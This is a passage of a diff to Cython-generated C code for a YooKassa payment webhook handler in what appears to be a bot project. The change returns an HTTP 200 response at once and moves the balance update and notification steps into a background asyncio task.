__Pyx_PyUnicode_Join(__pyx_t_2, 4, __pyx_t_15, __pyx_t_16); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 217, __pyx_L15_error) + __pyx_t_17 = __Pyx_PyUnicode_Join(__pyx_t_3, 4, __pyx_t_15, __pyx_t_16); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 217, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_17}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 217, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = NULL; - __pyx_t_4 = 0; - #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_3))) { - __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); - if (likely(__pyx_t_2)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); - __Pyx_INCREF(__pyx_t_2); - __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_3, function); - __pyx_t_4 = 1; - } - } - #endif - { - PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_17}; - __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 217, __pyx_L15_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - } - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":219 - * logger.info(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - * - * await add_payment(user_id, amount, "yookassa") # <<<<<<<<<<<<<< - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L15_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_17 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 219, __pyx_L15_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_web); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 219, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 219, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 219, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 219, __pyx_L15_error) + __pyx_t_17 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 219, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_17); - __pyx_t_2 = NULL; - __pyx_t_4 = 0; - #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_3))) { - __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); - if (likely(__pyx_t_2)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); - __Pyx_INCREF(__pyx_t_2); - __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_3, function); - __pyx_t_4 = 1; - } - } - #endif - { - PyObject *__pyx_callargs[4] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_17, __pyx_n_u_yookassa_2}; - __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 3+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 219, __pyx_L15_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_r); - if (likely(__pyx_r)) { - __Pyx_XGIVEREF(__pyx_t_8); - __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; - __Pyx_XGIVEREF(__pyx_t_9); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; - __Pyx_XGIVEREF(__pyx_t_10); - __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; - __Pyx_XGIVEREF(__pyx_t_11); - __pyx_cur_scope->__pyx_t_3 = __pyx_t_11; - __Pyx_XGIVEREF(__pyx_t_12); - __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; - __Pyx_XGIVEREF(__pyx_t_13); - __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - __Pyx_Coroutine_ResetAndClearException(__pyx_generator); - /* return from generator, awaiting value */ - __pyx_generator->resume_label = 2; - return __pyx_r; - __pyx_L21_resume_from_await:; - __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; - __pyx_cur_scope->__pyx_t_0 = 0; - __Pyx_XGOTREF(__pyx_t_8); - __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; - __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_9); - __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; - __pyx_cur_scope->__pyx_t_2 = 0; - __Pyx_XGOTREF(__pyx_t_10); - __pyx_t_11 = __pyx_cur_scope->__pyx_t_3; - __pyx_cur_scope->__pyx_t_3 = 0; - __Pyx_XGOTREF(__pyx_t_11); - __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; - __pyx_cur_scope->__pyx_t_4 = 0; - __Pyx_XGOTREF(__pyx_t_12); - __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; - __pyx_cur_scope->__pyx_t_5 = 0; - __Pyx_XGOTREF(__pyx_t_13); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 219, __pyx_L15_error) - } else { - PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); - if (exc_type) { - if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 219, __pyx_L15_error) - } - } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_17); + __pyx_cur_scope->__pyx_v_response = __pyx_t_17; + __pyx_t_17 = 0; - /* "handlers/payments/yookassa_pay.py":220 - * - * await add_payment(user_id, amount, "yookassa") - * await update_balance(user_id, amount) # <<<<<<<<<<<<<< - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 220, __pyx_L15_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_asyncio); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 221, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_create_task); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 221, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_process_successful_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 221, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_17 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 220, __pyx_L15_error) - __Pyx_GOTREF(__pyx_t_17); - __pyx_t_2 = NULL; + __pyx_t_5 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 221, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_18 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS if (unlikely(PyMethod_Check(__pyx_t_3))) { - __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); - if (likely(__pyx_t_2)) { + __pyx_t_18 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_18)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); - __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(__pyx_t_18); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_4 = 1; @@ -7424,271 +6571,128 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C } #endif { - PyObject *__pyx_callargs[3] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_17}; - __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 220, __pyx_L15_error) - __Pyx_GOTREF(__pyx_t_1); + PyObject *__pyx_callargs[3] = {__pyx_t_18, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_5}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 221, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_r); - if (likely(__pyx_r)) { - __Pyx_XGIVEREF(__pyx_t_8); - __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; - __Pyx_XGIVEREF(__pyx_t_9); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; - __Pyx_XGIVEREF(__pyx_t_10); - __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; - __Pyx_XGIVEREF(__pyx_t_11); - __pyx_cur_scope->__pyx_t_3 = __pyx_t_11; - __Pyx_XGIVEREF(__pyx_t_12); - __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; - __Pyx_XGIVEREF(__pyx_t_13); - __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - __Pyx_Coroutine_ResetAndClearException(__pyx_generator); - /* return from generator, awaiting value */ - __pyx_generator->resume_label = 3; - return __pyx_r; - __pyx_L22_resume_from_await:; - __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; - __pyx_cur_scope->__pyx_t_0 = 0; - __Pyx_XGOTREF(__pyx_t_8); - __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; - __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_9); - __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; - __pyx_cur_scope->__pyx_t_2 = 0; - __Pyx_XGOTREF(__pyx_t_10); - __pyx_t_11 = __pyx_cur_scope->__pyx_t_3; - __pyx_cur_scope->__pyx_t_3 = 0; - __Pyx_XGOTREF(__pyx_t_11); - __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; - __pyx_cur_scope->__pyx_t_4 = 0; - __Pyx_XGOTREF(__pyx_t_12); - __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; - __pyx_cur_scope->__pyx_t_5 = 0; - __Pyx_XGOTREF(__pyx_t_13); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 220, __pyx_L15_error) - } else { - PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); - if (exc_type) { - if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 220, __pyx_L15_error) - } - } - - /* "handlers/payments/yookassa_pay.py":221 - * await add_payment(user_id, amount, "yookassa") - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) # <<<<<<<<<<<<<< - * except ValueError as e: - * logger.error(f" user_id amount: {e}") - */ - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 221, __pyx_L15_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_17 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 221, __pyx_L15_error) - __Pyx_GOTREF(__pyx_t_17); - __pyx_t_2 = NULL; + __pyx_t_3 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_3))) { - __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); - if (likely(__pyx_t_2)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); - __Pyx_INCREF(__pyx_t_2); + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_3, function); + __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_4 = 1; } } #endif { - PyObject *__pyx_callargs[3] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_17}; - __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 221, __pyx_L15_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_r); - if (likely(__pyx_r)) { - __Pyx_XGIVEREF(__pyx_t_8); - __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; - __Pyx_XGIVEREF(__pyx_t_9); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; - __Pyx_XGIVEREF(__pyx_t_10); - __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; - __Pyx_XGIVEREF(__pyx_t_11); - __pyx_cur_scope->__pyx_t_3 = __pyx_t_11; - __Pyx_XGIVEREF(__pyx_t_12); - __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; - __Pyx_XGIVEREF(__pyx_t_13); - __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - __Pyx_Coroutine_ResetAndClearException(__pyx_generator); - /* return from generator, awaiting value */ - __pyx_generator->resume_label = 4; - return __pyx_r; - __pyx_L23_resume_from_await:; - __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; - __pyx_cur_scope->__pyx_t_0 = 0; - __Pyx_XGOTREF(__pyx_t_8); - __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; - __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_9); - __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; - __pyx_cur_scope->__pyx_t_2 = 0; - __Pyx_XGOTREF(__pyx_t_10); - __pyx_t_11 = __pyx_cur_scope->__pyx_t_3; - __pyx_cur_scope->__pyx_t_3 = 0; - __Pyx_XGOTREF(__pyx_t_11); - __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; - __pyx_cur_scope->__pyx_t_4 = 0; - __Pyx_XGOTREF(__pyx_t_12); - __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; - __pyx_cur_scope->__pyx_t_5 = 0; - __Pyx_XGOTREF(__pyx_t_13); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 221, __pyx_L15_error) - } else { - PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); - if (exc_type) { - if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 221, __pyx_L15_error) - } + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_2}; + __pyx_t_17 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 221, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_cur_scope->__pyx_v_response); + goto __pyx_L19_try_return; - /* "handlers/payments/yookassa_pay.py":214 - * amount_str = payment.amount["value"] - * - * try: # <<<<<<<<<<<<<< - * user_id = int(user_id_str) - * amount = float(amount_str) - */ } - __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; - __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; - __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; - goto __pyx_L20_try_end; __pyx_L15_error:; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - /* "handlers/payments/yookassa_pay.py":222 - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: # <<<<<<<<<<<<<< - * logger.error(f" user_id amount: {e}") - * return web.Response(status=400) - */ - __pyx_t_18 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); - if (__pyx_t_18) { + __pyx_t_19 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_19) { __Pyx_AddTraceback("handlers.payments.yookassa_pay.yookassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_3, &__pyx_t_17) < 0) __PYX_ERR(0, 222, __pyx_L17_except_error) - __Pyx_XGOTREF(__pyx_t_1); - __Pyx_XGOTREF(__pyx_t_3); + if (__Pyx_GetException(&__pyx_t_17, &__pyx_t_1, &__pyx_t_2) < 0) __PYX_ERR(0, 224, __pyx_L17_except_error) __Pyx_XGOTREF(__pyx_t_17); - __Pyx_INCREF(__pyx_t_3); - __Pyx_GIVEREF(__pyx_t_3); - __pyx_cur_scope->__pyx_v_e = __pyx_t_3; + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_e = __pyx_t_1; /*try:*/ { - /* "handlers/payments/yookassa_pay.py":223 - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: - * logger.error(f" user_id amount: {e}") # <<<<<<<<<<<<<< - * return web.Response(status=400) - * else: - */ - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 223, __pyx_L29_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 225, __pyx_L26_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_error); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 223, __pyx_L29_error) - __Pyx_GOTREF(__pyx_t_19); + __pyx_t_18 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_error); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 225, __pyx_L26_error) + __Pyx_GOTREF(__pyx_t_18); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 223, __pyx_L29_error) + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 225, __pyx_L26_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_20 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_5); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 223, __pyx_L29_error) + __pyx_t_20 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_5); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 225, __pyx_L26_error) __Pyx_GOTREF(__pyx_t_20); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_19))) { - __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_19); + if (unlikely(PyMethod_Check(__pyx_t_18))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_18); if (likely(__pyx_t_5)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_19); + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_18); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_19, function); + __Pyx_DECREF_SET(__pyx_t_18, function); __pyx_t_4 = 1; } } #endif { PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_20}; - __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_19, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_18, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 223, __pyx_L29_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 225, __pyx_L26_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; } - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":224 - * except ValueError as e: - * logger.error(f" user_id amount: {e}") - * return web.Response(status=400) # <<<<<<<<<<<<<< - * else: - * logger.warning(f" ID {payment_id} ") - */ __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_web); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 224, __pyx_L29_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Response); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 224, __pyx_L29_error) - __Pyx_GOTREF(__pyx_t_19); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 224, __pyx_L29_error) - __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 224, __pyx_L29_error) - __pyx_t_20 = __Pyx_PyObject_Call(__pyx_t_19, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 224, __pyx_L29_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_web); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 226, __pyx_L26_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_18 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Response); if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 226, __pyx_L26_error) + __Pyx_GOTREF(__pyx_t_18); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 226, __pyx_L26_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 226, __pyx_L26_error) + __pyx_t_20 = __Pyx_PyObject_Call(__pyx_t_18, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 226, __pyx_L26_error) __Pyx_GOTREF(__pyx_t_20); - __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_20); __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; - goto __pyx_L28_return; + goto __pyx_L25_return; } - /* "handlers/payments/yookassa_pay.py":222 - * await update_balance(user_id, amount) - * await send_payment_success_notification(user_id, amount) - * except ValueError as e: # <<<<<<<<<<<<<< - * logger.error(f" user_id amount: {e}") - * return web.Response(status=400) - */ /*finally:*/ { - __pyx_L29_error:; + __pyx_L26_error:; /*exception exit:*/{ __Pyx_PyThreadState_assign __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_26 = 0; __pyx_t_27 = 0; __pyx_t_28 = 0; - __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; __Pyx_XDECREF(__pyx_t_20); __pyx_t_20 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_26, &__pyx_t_27, &__pyx_t_28); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25) < 0)) __Pyx_ErrFetch(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25); @@ -7698,7 